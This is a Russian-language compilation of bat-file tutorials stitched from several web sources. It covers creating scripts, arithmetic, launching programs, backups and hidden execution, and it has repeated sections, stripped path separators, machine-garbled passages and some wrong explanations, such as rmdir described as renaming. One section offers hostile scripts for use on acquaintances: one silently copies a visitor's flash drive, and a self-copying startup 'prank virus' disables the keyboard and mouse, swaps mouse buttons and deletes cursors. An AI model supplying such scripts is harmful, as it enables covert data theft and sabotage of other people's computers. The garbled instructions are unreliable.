Как создать bat-файл в Windows 7

В этой статье:

Что такое txt и bat?

Ответ естественно в вкратце, так как если вам это нужно, то я предполагаю, что вы уже знаете зачем вам это делать и смысла вникать в это с подробностями бессмысленно.

txt — это формат текстовых файлов, содержащих в себе текст.

bat — исполняемые сценарии.

Для того, чтобы переименовать файл TXT в BAT, мы воспользуемся самым простым способом доступным в Windows – это через ПРОВОДНИК.

Но в начале нужно включить настройки позволяющие это сделать через ПРОВОДНИК.

Для этого заходим в ПРОВОДНИК> далее ВИД > потом ПАРАМЕТРЫ > и наконец последняя операция в этом окне ИЗМЕНИТЬ ПАРАМЕТРЫ ПАПОК И ПОИСКА.

В появившемся окне переходим во вкладку ВИД > далее в окне ДОПОЛНИТЕЛЬНЫЕ ПАРАМЕТРЫ спускаемся до СКРЫВАТЬ РАСШИРЕНИЯ ДЛЯ ЗАРЕГИСТРИРОВАННЫХ ТИПОВ ФАЙЛОВ где снимаем галочку, после нажимаем ПРИМЕНИТЬ и ОК.

Теперь переходим к файлу txt который нужно переименовать в bat наводим на него курсор мыши и нажимаем правую клавишу, в появившемся ОКНЕ переходим и нажимаем вкладку СВОЙСТВА.

Здесь удаляем надпись txt до точки (точку оставляем на месте) и вписываем значение bat.

 

Теперь нажимаем ОК, затем ДА.

И как результат видим изменившийся файл с двумя шестеренками формата BAT.

 

Как написать bat файл

Для того, чтобы написать .bat файл нужно создать новый текстовый документ с помощью блокнота или просто клика по пустому месту рабочего стола и выбора «Создать» — «Текстовый документ».

Создаем текстовый документ

После этого на рабочем столе появится новый текстовый документ. В него вам нужно вписать какую-нибудь команду, например attrib -s -h /d /s (это команда для открытия файлов, которые стали ярлыками из-за вируса. Подробнее читайте статью о том, что делать если на флешке папки стали ярлыками). Теперь нам нужно сохранить этот файл, изменив расширение txt на bat.

Для начала открываем «Панель управления» — Оформление и персонализация — Параметры папок. В открывшемся окне переходим во вкладку «Вид» и убираем галочку с пункта «Скрывать расширения для зарегистрированных типов файлов». Нажимаем Ок.

Скрываем расширения

В блокноте в текстовом документе нажимаем «Файл» — «Сохранить как». Откроется окно сохранения файла в котором внизу в пункте «Имя файла» нужно изменить расширение txt на bat, а в пункте «Тип файлы» выбираем «Все файлы». Нажимаем «Сохранить».

Делаем bat файл

Вот таким образом мы сделали bat файл.

Использование графического интерфейса в операционных системах сегодня представляется чем-то само собой разумеющимся и совершенно естественным, но так было не всегда. Первая операционная система MS DOS, разработанная компанией Microsoft, не имела GUI, а управление выполнялось посредством ввода текстовых команд. С тех пор минуло без малого 40 лет, однако скриптовый язык командной строки по-прежнему пользуется популярностью, причём не только в среде разработчиков.

Командная строка не столь удобна, зато с её помощью можно выполнять недоступны из GUI операции. С другой стороны, запускать каждый раз консоль, вводить в неё одну за другой команды – всё это сильно замедляет работу. Впрочем, можно существенно упростить задачу, создав бат-файл или попросту батник – текстовый файл с расширением BAT, содержащий список инструкций, обрабатываемых командным интерпретатором CMD. Используются такие файлы для автоматизации разных задач, например, для удаления временных файлов по расписанию или запуска программ.

Dr.Batcher – программа для создания bat-файлов и их редактирования

Пускай ныне использование bat-файлов и не так востребовано пользователем, все же для решения многих задач на компьютере эффективнее прибегать к их помощи. Если новичку, изредка использующему командный интерпретатор, хватит функционала блокнота, то для системного администратора и варезника, занимающегося созданием сборок Windows или автоматически устанавливаемого программного обеспечения для нее, необходим более совершенный и удобный инструмент для работы с документами формата bat. Им является утилита Dr.Batcher. Интерфейс и функционал программы мало чем отличается от блокнотов, таких как Notepad++. В главном меню расположены кнопки часто используемых команд. Dr.Batcher нумерует страницы, поддерживает закладки, содержит список системных команд для bat-файлов и подсвечивает синтаксис введенных команд.

Создание bat-файла в Dr.Batcher

  1. Запускаем приложение.
  2. Вызываем пункт «File» его главного меню и жмем «New». То же выполняется нажатием на иконку чистого листа, расположенную под меню «File».
  3. В диалоговом окошке выбираем «Empty Batch File».

bat-9

На экране появится окно программы со всеми необходимыми для работы с bat-файлами функциями.

Редактирование bat-файлов в Dr.Batcher

Открыть документ формата bat для редактирования в Dr.Batcher можно несколькими путями, о них и пойдет речь далее.

Редактирование через контекстное меню bat-файла

  1. Вызываем контекстное меню документа формата bat.
  2. В выпавшем списке выбираем «Edit with Dr.Batcher».

bat-10

Затем запустится окно программы с содержимым нашего текстового командного файла, где можно вносить коррективы в его содержимое.

Вычисления

В bat-файлах можно выполнять простые арифметические операции с целыми 32-битными числами и битами с помощью команды set /a. Максимальным поддерживаемым числом является 2^31-1 = 2147483647, а минимальным – -(2^31) = -2147483648. Синтаксис напоминает язык программирования Си. К арифметическим операторам относятся: *, /, %, +, -. В bat-файле % (остаток целочисленного деления) должен вводиться как “%%”.

Операторы с двоичными числами интерпретируют число как 32-битную последовательность. К ним относятся: ~ (побитовое НЕ или дополнение), & (И), | (ИЛИ), ^ (исключающее ИЛИ), << (сдвиг влево), >> (сдвиг вправо). Логическим оператором отрицания является ! (восклицательный знак). Он изменяет 0 в 1 и ненулевое значение в 0. Оператором комбинирования служит , (запятая), которая позволяет производить большее число операций в одной команде set. Комбинированные операторы присваивания += и -= в выражениях a+=b и a-=и соответствуют выражениям a=a+b и a=a-b. Так же работают и *=, %=, /=, &=, |=, ^=, >>=, <<=. Приоритет операторов следующий:

Литералы можно вводить в виде десятичных, шестнадцатеричных (с ведущими 0x) и восьмеричных чисел (с ведущим нулем). Например, set /a n1=0xffff присваивает n1 шестнадцатеричное значение.

Как создать файл с расширением BAT

Итак, как создать bat-файл в Windows 7/10? Очень просто. Для этого понадобится любой текстовый редактор и знание основ командной строки. Можно использовать Блокнот, а ещё лучше Notepad++, так как последний имеет подсветку синтаксиса. Создайте в редакторе новый файл, в меню «Файл» выберите «Сохранить как», дайте будущему скрипту имя, а в выпадающем списке «Тип файла» выберите «Batch file (*bat; *cmd; *nt)».

Если для создания bat-файла захотите использовать Блокнот, расширение нужно присвоить вручную, а в списке «Тип файла» выбрать «Все файлы».

Как видите, создать файл с расширением bat не составляет сложности, есть тут, однако, свои тонкости. В командных файлах нельзя использовать перенос строк, кодировка bat-файла должна быть выставлена UTF-8, если в теле скрипта используется кириллица, кодировку нужно изменить, вставив в положенном месте команду chcp 1251.

Вместо расширения BAT можно использовать CMD, результат выполнения скрипта будет точно таким же.

Сохранение

Вышеупомянутый скрипт выводит на экран текст «Добро пожаловать в сценарий пакетной обработки!». Электронный документ необходимо записать, выбрав пункт меню текстового редактора «Файл», «Сохранить как», а затем указать желаемое имя bat-файла. Его следует завершить расширением .bat (например, welcome.bat) и нажать «ОК». Для правильного отображения кириллицы в некоторых случаях следует удостовериться в правильном выборе кодировки. Например, при использовании консоли русифицированной системы Windows NT документ необходимо сохранить в CP866. Теперь следует дважды щелкнуть на ярлыке bat-файла, чтобы активировать его.

Но экране появится надпись:

«Добро пожаловать в сценарий пакетной обработки! Для продолжения нажмите любую клавишу…»

В случае если bat-файл не запускается, пользователи рекомендуют зайти в регистр и удалить ключ:

«HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts.BATUserChoice».

Не стоит думать, что это все, на что способны сценарии пакетной обработки. Параметрами скриптов являются измененные версии команд командной строки, поэтому пользователь ограничен только их возможностями. А они довольно обширные.

 

Как скопировать файл с помощью командной строки?

Команда COPY при работе в командной строке позволяет копировать один или несколько файлов. Команда имеет синтаксис: COPY[/D][/V][/N][/Y | /-Y][/Z][/L][/A | /B]источник[/A | /B][+ источник[/A | /B] [+ …]][ результат [/A | /B]].

Как распечатать экран в командной строке?

Щелкните правой кнопкой мыши сохраненный файл и выберите параметр «Печать». Выберите принтер, размер и качество бумаги, которые вы хотите использовать. Нажмите кнопку «Печать», чтобы распечатать снятый фрагмент экрана командной строки.

Как изменить формат текстового файла в Windows 7?

Для того, чтоб изменить расширение файла в проводнике Windows 7, нужно:

  1. Отобразить расширения файлов. …
  2. После этого нужно выбрать нужный файл и нажать клавишу F2. …
  3. Изменить расширение на то, которе вам нужно.
  4. Нажать на клавиатуре клавишу Энтер.

Создание новой папки

Папка в данном контексте рассматривается так же, как каталог. Создать её нетрудно, знаю специальную команду.

Сначала указывается путь к директории, в которой появится новый файл. После чего прописывается команда md с именем нового каталога. Например: md papka.

Указанная команда это аббревиатура фразы make directory (в переводе -сделать каталог). Далее можно создать файл в папке, созданной только что, применив определённые команды. Обычно этот метод выбирают те, кому не подходят стандартные решения.

Шаг 1: Создайте файл BAT

Допустим, у вас часто возникают проблемы с сетью; Вы постоянно оказываетесь в командной строке , набрав ipconfig и отправив команду ping в Google, чтобы устранить неполадки в сети. Через некоторое время вы понимаете, что было бы немного эффективнее, если бы вы просто написали простой BAT-файл, вставили его в USB-накопитель и использовали на машинах, которые вы устраняете.

Создать новый текстовый документ

Пакетный файл упрощает повторяемые задачи компьютера с помощью командной строки Windows. Ниже приведен пример пакетного файла, отвечающего за отображение некоторого текста в командной строке. Создайте новый BAT-файл, щелкнув правой кнопкой мыши пустое место в каталоге и выбрав New , затем Text Document .

new_text_file

Добавить код

Дважды щелкните этот новый текстовый документ, чтобы открыть текстовый редактор по умолчанию. Скопируйте и вставьте следующий код в текстовую запись.

@echo off title This is your first batch script! echo Welcome to batch scripting! pause

Сохранить как BAT-файл

Приведенный выше скрипт повторяет текст «Добро пожаловать в пакетный сценарий!». Сохраните файл, выбрав « Файл» , « Сохранить как» , а затем назовите файл так, как вам нужно. В конце имени файла добавьте расширение .bat, например, welcome.bat, и нажмите кнопку « ОК» . Это завершит пакетный процесс. Теперь дважды щелкните по вновь созданному пакетному файлу, чтобы активировать его.

welcome_to_batch

Не думайте, что это все, что может сделать пакетный сценарий. Параметры пакетных сценариев являются подправленными версиями кодов командной строки, поэтому вы ограничены только тем, что может сделать ваша командная строка. Для тех, кто не знаком с этой программой, командная строка может использовать множество

Что необходимо для создания батников на OS Windows

Важно! Название « Батники» они получили от своего расширения. Поисковиками находятся без проблем.

На сегодня существует только один метод для правильного создания, вам потребуется:

  • заготовленный перечень специальных команд Бат-файлов;
  • электронный блокнот, стандартная программа на вашем ПК;

Как создать файл bat

Электронный блокнот

  • найти и скачать программу «Notepad++», на просторах Интернета (приложение бесплатное, скачивать лучше с официального сайта).

Как создать файл bat

Дальнейшая работа будет построена в строгой последовательности, где мы разберем, с чего начинается создание текстового документа, затем настройка программы (с целью распознания специальных команд для bat), обязательно покажем, как прописать простейшую команду и в заключение, как правильно сохранить.

Часть шестая. Хитрости или шутки в сторону

Здесь рассмотрим ещё несколько интересных возможностей для применения батников. Из названия ясно, что некоторые из действий могут навредить системе (хотя это можно сделать и «голыми руками»), но если делать всё с умом, то может выйти достаточно интересно.

Шпионские штучки. Похищаем содержимое флешки

В самом начале статьи было указанно, что команды в батниках выполняются последовательно, если это не оговорено в самом теле исполнительного файла. Рассмотрим именно этот частный случай. Нуууу, допустим. Вы знаете, что к вам придёт знакомый (а может, знакомая) с просьбой произвести какие-то манипуляции с его/её флэш-карточкой, и вам очень хотелось бы слить все данные с этого накопителя на ваш ПК. Но делать это при госте не совсем удобно, да и просто можно получить «красную карточку». Что мы в таком случае делаем? Создаём батник следующего содержания

@echo off :test if exist g: goto go goto test :go xcopy «G:*.*» «C:упс*.*»

Создаём на этот бат-файл ярлычок, в свойствах ярлыка указываем, чтобы файл запускался в свёрнутом состоянии. Дважды кликаем по ярлыку. Что имеем. :test обозначает начало действия батника if exist g: goto go проверяет наличие в компьютере диска G:, если он есть, то переходим к части :go (суть в том, что обычно вставленная флешка получает для обозначения первую свободную в системе букву латинского алфавита, проследить это на своём компе не так уж сложно. Вот именно эту буковку мы и указываем вместо G:) goto test если диск G: не был найден, возвращаемся к началу части :test:go обозначает начало действия второй части батника xcopy «G:*.*» «C:упс*.*» копирует всё содержимое диска G: в папку упс на диске C: Т.е. после того, как мы запустили файл с ярлыка, он запускается в свёрнутом состоянии и циклически проверяет наличие флешки в ПК. Как только флешка там засветится, начнётся копирование всех данных с неё в указанную папку, причем привычного окна копирования файлов не выскочит, всё будет отображаться в свёрнутом окне терминала.Ну, всё что было описанно выше, полезно на своём компе, однако есть несколько плюшек, с помощью которых можно подшутить над другом/подругой….

Маленький вирус в автозагрузку

В общем виде всё будет выглядеть так: отправляем человечку файлик любым удобным способом, он запускает его на своём ПК, мы немного смеёмся, а потом говорим человечку, в чём соль и как всё исправить.Обычно, если что-то идёт не так, рядовой юзер первым делом перезагружает комп. Чтобы наш батник продолжал действовать и после рестарта, необходимо добавить его в автозагрузку (подчеркиваю, такие шутки проходят только с не самыми прошаренными пользователями ПК, более опытные, скорее всего, запросто найдут причину метаморфоз системы и легко избавятся от неё). Для этого в батничке пропише следующее

copy %0 c:»documents and settings»»all users»»главное меню»программыавтозагрузка copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows»Start Menu»ProgramsStartup

Первая строка добавляет файл в автозагрузку для всех пользователей на Windows XP (для конкретного пользователя в качестве пути указываем %USERPROFILE%»Главное меню»ПрограммыАвтозагрузка) Вторая строка добавляет файл в автозагрузку для Windows 7.

Начало обеих строк в виде copy %0 означает копирование «самого себя». Это сделали. Ещё нам хотелось бы, чтобы после запуска батника и при каждой загрузке ПК появлялась весёленькая надпись, к примеру, «ТЫ ЛАМЕР!» Для этого добавляем следующее

Echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.jse echo WSHShell.Popup («ТЫ ЛАМЕР!»); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js

Эта часть основанна на скриптах. Подробно расписывать не буду, кому интересно, найдёт материал в сети. Скажу лишь, что для некоторых ОС вид этого блока может слегка отличаться. Так, например, в семёрке (Win7) скрипт может выглядеть следующим образом

Echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.jse echo WSHShell.Popup («ПИШИ СЮДА ЧТО УГОДНО»); >> %temp%mes.jse start %temp%mes.jse deltree /y %temp%mes.jse

Однако, и первый вариант будет работать.

Также окошко с текстом можно добавить в обход скриптов, оно будет, так сказать, стилизованное, виндовое от текущего пользователя с указанием текущей даты и времени

msg * «ТЫ ЛАМЕР!» >nul

Едем дальше, ближе к вкусностям. Чтобы наш объект экспериментов растерялся ещё больше, в тело батника по желанию добавляем что-нибудь из следующего:

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul — строка меняет кнопки мыши местами. Весьма забавная штуковина, однако если человечек не отличается уровновешенной психикой, от этого советую отказаться. Чтобы поменять кнопки мыши обратно, заходи в панели управления в пункт мышь и там инвертируем галочку в поле обменять назначение кнопок….

Команда rundll32 keyboard, disable отключит клавиатуру вплоть до следующей перезагрузки, а rundll32 mouse, disable то же самое проделает с мышью. Если батник в автозагрузке, то при рестарте это дело, разумеется, повторится.

rundll32 shell32, SHExitWindowsEx 1 — выключит ПК.

rundll32 shell32, SHExitWindowsEx 2 — перезагрузит ПК.

rundll32 url.dll, FileProtocolHandler https://ya.ru/ — откроет в Internet Explorer поисковую страничку яндекса (сайт вместо ya.ru, само собой, можно вписать любой). Если проявить фантазию, можно придать батнику особую пикантность.

Ну и del «%SystemRoot%Cursors*.*» >nul удалит курсоры мыши (пользоваться с осторожностью и в самых крайних случаях!)

Теперь остаётся только скомпоновать желаемые строки в единый код

@echo off chcp 1251 rundll32 keyboard, disable %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul copy %0 c:»documents and settings»»all users»»главное меню»программыавтозагрузка copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows»Start Menu»ProgramsStartup rundll32 url.dll, FileProtocolHandler https://www.thecleverest.com/countdown.swf Echo var WSHShell = WScript.CreateObject(«WScript.Shell»); > %temp%mes.js echo WSHShell.Popup («ТЫ ЛАМЕР!»); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js

Как настроить автоматическое копирование файлов?

Чтобы настроить автоматическое копирование файлов и папок, вам понадобится «Служба архивации» Windows 10. Для этого, в строке поиска, введите «резерв» и выберите «Параметры резервного копирования». Первое, что необходимо сделать — добавить диск, на котором, собственно, и будут храниться копии файлов.

Основные команды, синтаксис и примеры использования батников

Как сделать bat-файл вы знаете, теперь настала пора самого интересного, а именно синтаксиса языка интерпретатора CMD. Понятно, пустой батник работать не будет, он даже не запустится при двойном по нему клике. Чтобы скрипт сработал, в нём должна быть прописана хотя бы одна команда. Для наглядного примера посмотрим, как написать bat-файл для запуска программ. Допустим, приступая к работе, вы каждый раз запускаете три программы – Chrome, Firefox и VLC. Упростим задачу, создав скрипт, который будет сам запускать эти программы с интервалом в пять секунд.

Открываем пустой батник и вставляем в него такие команды:

start “” “C:/Program Files/Google/Chrome/Application/chrome.exe” timeout /t 05 start “” “C:/Program Files/Mozilla Firefox/firefox.exe” timeout /t 05 start “” “C:/Program Files/VideoLAN/VLC/vlc.exe”

Команда start запускает исполняемый файл нужной программы, а команда timeout /t задаёт интервал между запусками. Обратите внимание на расположение кавычек – в них берутся пути, в которых имеются пробелы. Также если в пути есть кириллические символы, в начало скрипта следует вставить изменяющую кодировку команду chcp 1251, в противном случае интерпретатор не сможет правильно прочитать путь.

При запуске скрипта будет последовательно открыто четыре окна консоли, это нормальное явление, по выполнении команд все они автоматически закроются, впрочем, можно сделать так, чтобы открывалось только первое окно. Для этого код запуска приложения следует изменить следующим образом:

start /b “” “путь”

Может также статься, что в определённый момент потребуется приостановить выполнение скрипта, чтобы пользователь сам смог решить, выполнять ли все остальные команды или нет. Для этого существует команда pause. Попробуйте заменить ею timeout и увидите, что получится.

start /b “” “путь” pause

Рассмотрим ещё один пример команд для bat файла. Напишем скрипт, который будет в одном случае выключать компьютер, а в другом – перезагружать его. Для этих целей мы будем использовать команду shutdown с параметрами /s, /r и /t. При желании можно добавить в батник запрос на выполнение действия, вот так:

@echo off chcp 1251 echo “Вы действительно хотите выключить компьютер?” pause shutdown /s /t 0

 

Поясняем. Первая команда скрывает текст самих команд, вторая – устанавливает кириллическую кодировку, третья – выводит сообщение для пользователя, четвертая – устанавливает паузу, пятая – выключает, а с ключом /r вместо /s перезагружает компьютер без традиционной задержки в одну минуту. Если не желаете церемониться с запросами и паузами, можете оставить только пятую команду.

Если вместо русского текста при выполнении команды вы увидите крякозябры, попробуйте преобразовать файл скрипта в ANSI.

Что ещё можно делать с помощью скриптов? Много чего, например, удалять, копировать или перемещать файлы. Допустим, у вас есть некая папка data в корне диска D, содержимое которой нужно очистить одним махом. Открываем батник и вставляем в него такую команду:

del /A /F /Q “D:/data”

А можно и так:

forfiles /p “D:/data” /s /m *.* /c “cmd /c Del @path”

В отличие от первой, вторая команда удаляет файлы рекурсивно, то есть в папке data будут удалены все файлы плюс те, которые лежат во вложенных каталогах.

А вот ещё один полезный пример. Напишем скрипт, который будет создавать резервную копию содержимого одной папки и сохранять данные в другую. За копирование отвечает команда robocopy:

robocopy C:/data D:/backup /e pause

Запустив такой батник на исполнение, вы скопируете все содержимое папки data в папку backup, включая вложенные каталоги, пустые и с файлами. К слову, команда robocopy имеет много параметров, позволяющих очень гибко настраивать параметры копирования.

Чем отличается Bat от exe?

BAT содержит команды ДОСовского интерпретатора, а EXE — исполняемый двоичный код + все необходимое для его правильной загрузки. Из CreateProcess? В том, что exe-файлы — это файлы, исполняемые системой и имеющие соответствующий формат. BAT-файлы — это файлы, исполнямые командным процессором (cmd.exe).

Как сделать bat файл для установки программы?

Создание .

В меню блокнота выберите «Файл» — «Сохранить как», выберите место сохранение файла, укажите имя файла с расширением . bat и, обязательно, в поле «Тип файла» установите «Все файлы». Нажмите кнопку «Сохранить».

Как открыть файл через батник?

Программы для открытия BAT файлов

  1. PSPad, NotePad++;
  2. Adobe ExtendScript;
  3. Microsoft Windows NotePad;
  4. утилита коммандной строки Microsoft Windows;
  5. любой текстовый редактор.

Как запустить BAT файл в Windows 10?

Основной способ запуска пакетного файла — двойной щелчок по его иконке. Тем не менее, вы можете его и открыть и другим методом — с помощью командной строки.

Чтобы открыть BAT файл с помощью командной строки, выполните следующее:

  • Откройте директорию в которой лежит пакетный файл.
  • Определите название файла.
  • Откройте командную строку.
  • Введите название документа с его расширением. Например: HelloWorld.bat

Способ запуска через командную строку приобретает ценность с ростом количества пакетных файлов. Если вы помните название и расширение нужного документа, вы откроете его даже когда забыли точную директорию.

Определение

cmd-create-file1.jpg

Командной строкой (cmd) называется программная оболочка, которая является обязательной составляющей операционной системы (ОС). Она организует прямую взаимосвязь между компьютером и пользователем. Также помогает решить некоторые дилеммы, связанные с общим функционированием ПК и отдельного софта.

Яркие примеры её применения таковы:

  1. Заражение компьютера вирусами или программами-вредителями.
  2. Неполадки в системных файлах.
  3. Восстановление Windows (на сленге пользователей – «винды»).
  4. Корректировка опций в играх.

В неё необходимо прописывать команды, чтобы реализовать те или иные задачи. На эту процедуру тратится существенно меньше времени, чем при работе с графическим интерфейсом.

Работать с ней требуется очень внимательно и осторожно. В прописанных командах не должно быть ошибок. Иначе можно получить совершенно неожиданные результаты, преобразующиеся в дальнейшем в проблемы.

Что такое %% A?

%% a — специальные переменные, созданные командой for для представления текущего элемента цикла или токена текущей строки. for — это, вероятно, самая сложная и мощная часть командных файлов.

Часть третья. Резервное копирование при помощи батников

Резервное копирование данных — полезное и оттого весьма распространенное явление. Существует большое количество программ, отличающихся друг от друга функционалом, условиями распространения, уровнем (глубиной вопроса) и т.д. Бесспорно, пользоваться хорошей и красивой программой удобно и приятно, но если ваши задачи не слишком сложны, то элементарное создание бэкапов можно организовать и без использования стороннего софта, исключительно средствами ОСи.

Автоматическое копирование каталогов в папку backup

Для копирования каких-либо данных используется команда copy (копирование файла/файлов) или xcopy (копирование каталогов). Т.е., допустим, нам необходимо делать бэкап содержимого папки, в которой находятся ваши данные к дипломной работе (материалы, приложения, черновик самой работы и т.д.). В этом случае текст будет следующим

@echo off chcp 1251 xcopy «D:diplom*.*» «E:backupdiplom*.*»

Где D:diplom — папка расположения всех материалов к диплому, а E:backupdiplom — конечная директория резервной копии. Создаём батник, кидаем его в автозагрузку (пуск — все программы — автозагрузка), и при каждом включении компьютера будет создаваться резервная копия (рк).Чуть усложним. Сделаем, чтобы при включении ПК старые данные сохранялись в папочке diplom_old, а новые в папочке diplom. Тогда батник будет иметь вид

@echo off chcp 1251 del «E:backupdiplom_old» /s /q rmdir «E:backupdiplom_old» /s /q rename «E:backupdiplom» «diplom_old» xcopy «D:diplom*.*» «E:backupdiplom*.*»

del удаляет ранее созданную вторую рк. rmdir переименовывает первую рк во вторую. xcopy создаёт новую рк. Атрибут /s применяет команду ко всем подкаталогам, атрибут /q отключает запрос на подтверждение действий.Если в двух копиях смысла нет, можно сделать так, чтобы заменялись только те файлы, которые были изменены, те же, которые не изменились, либо вообще были удалены из исходной папки, затронуты не будут. Для этого пишем следующее

@echo off chcp 1251 xcopy «D:diplom*.*» «E:backupdiplom*.*» /E /F /H /R /K /Y /D

Запуск bat-файлов от имени администратора и по расписанию, скрытый запуск bat

Теперь вы знаете как создавать батники и имеете некое общее представление о языке интерпретатора CMD. Это были основы, теперь пришла пора познакомиться с некоторыми полезными особенностями работы с bat-файлами. Известно, что для выполнения некоторых действий программам нужны права администратора. Понадобиться они могут и батникам. Самый очевидный способ запустить скрипт от имени администратора, это кликнуть по нему правой кнопкой мыши и выбрать в контекстном меню соответствующую опцию.

Кроме того, можно сделать так, что конкретный батник будет запускаться с повышенными привилегиями всегда. Для этого необходимо создать на такой скрипт обычный ярлык, открыть его свойства, нажать кнопку «Дополнительно» и отметить в открывшемся окошке галочкой пункт «Запуск от имени администратора». Этот способ хорош ещё тем, что позволяет выбрать для ярлыка любой значок, тогда как файл с расширением BAT или CMD всегда будет иметь невзрачный вид.

Скрипты, как и все приложения, можно запускать по расписанию. Команда timeout /t здесь не совсем уместна, для отложенного запуска лучше всего использовать встроенный «Планировщик задач» Windows. Здесь всё просто. Открываем командой taskschd.msc Планировщик, определяемся с триггером, действие выбираем «Запустить программу» и указываем путь к bat-файлу. Вот и всё, скрипт будет запущен в положенное время.

И напоследок ещё один интересный момент. Когда вы запускаете bat-файл, на экране появляется, пусть даже на какую-то долю секунды, окно командной строки. А нельзя ли сделать так, чтобы скрипт выполнялся в скрытом режиме? Можно, причём несколькими способами. Самый простой заключается в следующем. Создаём на bat-файл ярлык, открываем его свойства и в меню «Окно» выбираем «Свёрнутое в значок». После этого единственным видимым признаком запуска скрипта будет появление значка CMD на панели задач, окон же при этом открываться не будет.

Если вы желаете полностью скрыть выполнение скрипта, можете воспользоваться «костылем» – скриптом VВS, который будет запускать ваш батник в скрытом режиме. Текст скрипта приведен ниже, сохраните его в файл hidden.vbs, предварительно заменив путь во второй строчке кода D:/sсript.bat путём к вашему батнику.

Set WshShell = CreateObject(“WScript.Shell”) WshShell.Run chr(34) & “D:script.bat” & Chr(34), 0 Set WshShell = Nothing

Есть также и другие варианты, например, использование утилиты Hidden Start, позволяющей запускать исполняемые и пакетные файлы в скрытом режиме, в том числе без приглашения UAC.

А на этом пока всё. Информацию касательно создания скриптов BAT без труда можно найти в интернете. Неплохо также ознакомиться с учебником Уильяма Станека «Командная строка Microsoft Windows». Несмотря на то, что с момента издания книги прошло более десяти лет, содержащаяся в ней информация до сих пор актуальна.

Иногда в Windows 7 нужно изменить расширение вручную, например, превратить файл “txt” в “bat”. Первое, что приходит на ум, — переименовать (F2). Но оказывается, что расширение «.bat» ты вроде бы вписал, но на самом деле файл теперь «file.bat.txt». В чем дело? А дело в настройках папок, где задано, что расширение должно быть скрытым. Соответственно, настройки нужно изменить. Есть, правда, еще один способ, переименовать в DOS. Подробно рассмотрим каждый.

1. Изменяем «Параметры папок»

Шаг 1. Находим «Параметры папок». Самый простой способ – ввести «Параметры папок» в поисковой строке в меню «Пуск» или в «Панели управления». Еще вариант – зайти в проводник, нажать «Alt», на открывшейся панели инструментов зайти в «Сервис», там внизу есть «Параметры папок».

Шаг 2. Изменяем настройки в окне «Параметры папок». Нужно зайти в папку вид и убрать галку с пункта «Скрывать расширения для зарегистрированных типов данных». Теперь возле файлов будут видны название и расширение. Их можно будет менять обычным «Переименовать».

Первые шаги

Для написания достаточно иметь права в системе, позволяющие создавать и сохранять файлы. Что касается запуска готовых скриптов, для их выполнения необходимо установить разрешение для определенного пользователя и самой операционной системы. Второй случай подразумевает то, что в ОС иногда накладывается блокировка на «батники», поскольку исполняемые файлы часто представляют собой вредоносное ПО.

Возможно, понадобится включить отображение файловых расширений. Как это сделать, расскажу на примере Windows 10:

  • Заходим в «Панель управления»;
  • Выбираем раздел «Параметры Проводника»;
  • В открывшемся окне заходим на вкладку «Вид»;
  • Прокручиваем вниз, пока не найдем строку «Скрывать расширения для зарегистрированных типов файлов»;
  • Если там есть галочка, убираем и жмем «ОК».

Как создать bat-файл в Windows 10 и 7: руководство для «чайников»

Ни в коем случае не следует запускать из системы такие файлы, если они были загружены из неизвестного или вызывающего подозрение ресурса. Также не стоит добавлять код, если непонятно для каких целей он написан. С применением «батников» можно назначить шифрование всей информации на ПК, а также переименовать и даже полностью очистить жесткий диск без ведома пользователя.

Как сохранить файл в CMD?

Как сохранить команду, написанную в CMD

  1. Нажмите Пуск — Выполнить — введите CMD, нажмите ENTER.
  2. В окне командной строки напишите: «Копировать con dos. летучая мышь »- нажмите ENTRE.
  3. Напишите команды CMD / DOS, которые вы хотите выполнять, одну за другой (нажимайте Enter (новая строка) после каждой новой команды)
  4. Когда вы закончите, нажмите CTRL-Z. Это сохранит файл «dos. …
  5. Введите dos. bat в CMD и нажмите Enter.

Что собой представляет BAT-файл

С точки зрения пользователя компьютера это текстовый файл с соответствующим расширением, но для операционной системы такие файлы особенные – они состоят из ряда команд, которые после запуска интерпретируются и выполняются по определённым правилам. Таким образом, ответ на вопрос, что такое батник для компьютера под управлением ОС Windows, может звучать следующим образом: это набор команд, записанный в текстовом формате, позволяющий сэкономить время на их наборе каждый раз, когда возникнет необходимость. Сленговое название таких файлов – батник, их также называют пакетными файлами.

Пример кода в BAT-файле

С помощью таких батников можно автоматизировать целые классы задач:

  • осуществлять управление файловой системой компьютера (удалять, создавать, перемещать файлы, каталоги, подкаталоги);
  • выполнять последовательность команд с определёнными параметрами, которые могут быть контекстно-зависимыми;
  • осуществлять пакетный запуск программ/утилит.

Специфики работы

Для начала необходимо освоиться в перечне команд, которые пригодны для командной строки. Пропишите слово «help» и нажмите «Enter». Это клавиша служит для подтверждения всех команд и попадания на новой строке.

Если в строке требуется наличия скопированного текста, тогда в ней наведите курсор на любое пустое место и кликните правой кнопкой. Из появившегося меню выберите опцию «Вставить». Можно поместить текст комбинацией «Ctrl+V».

Чтобы скопировать слова из этой строки, выделите их левой кнопкой мышки и нажмите «Enter».

Для более удобной и оперативной работы можно все команды предварительно прописать в текстовом документе. Проверьте точность их написания. Затем просто копируйте и вставляйте их в нужные места.

Сохраняем документ

Дальше у вас есть два варианта как можно сохранить. На практике используют оба варианта, разница только в нескольких дополнительных действиях. В первом варианте вы нажимаете на крестик программы и подтверждаете сохранение изменений в документе. Затем документ открываете в обычном «Блокноте» и пересохраните в БАТ. Делается таким образом:

Нажимаем «Сохранить как»

Сохранение бат файла

Выбираем вкладку «Файл», в ней необходимо выбрать «Сохранить как». Затем указать путь, куда сохранить документ. И самое главное прописать расширение файла (делается самостоятельно).

Определение расширения файла вручную

Второй вариант: проделать точно такое же пересохранение через использование программы Notepad++.

Пересохранение файла

У вас должен появиться ещё один файл, внешний вид которого должен быть таким же, как на скриншоте.

Новая форма bat файла

Если появился, значит сделано все правильно, если нет – вернитесь на начальную позицию и повторите действия сначала, возможно вы допустили где-то ошибку.

Источники

  • https://7th-studio.ru/servisy/kak-sozdat-bat-fajl-programmy-dlya-sozdaniya-i-redaktirovaniya-bat-fajlov
  • https://tvoykomputer.ru/kak-sozdat-bat-fajl-programmy-dlya-sozdaniya-i-redaktirovaniya-bat-fajlov/
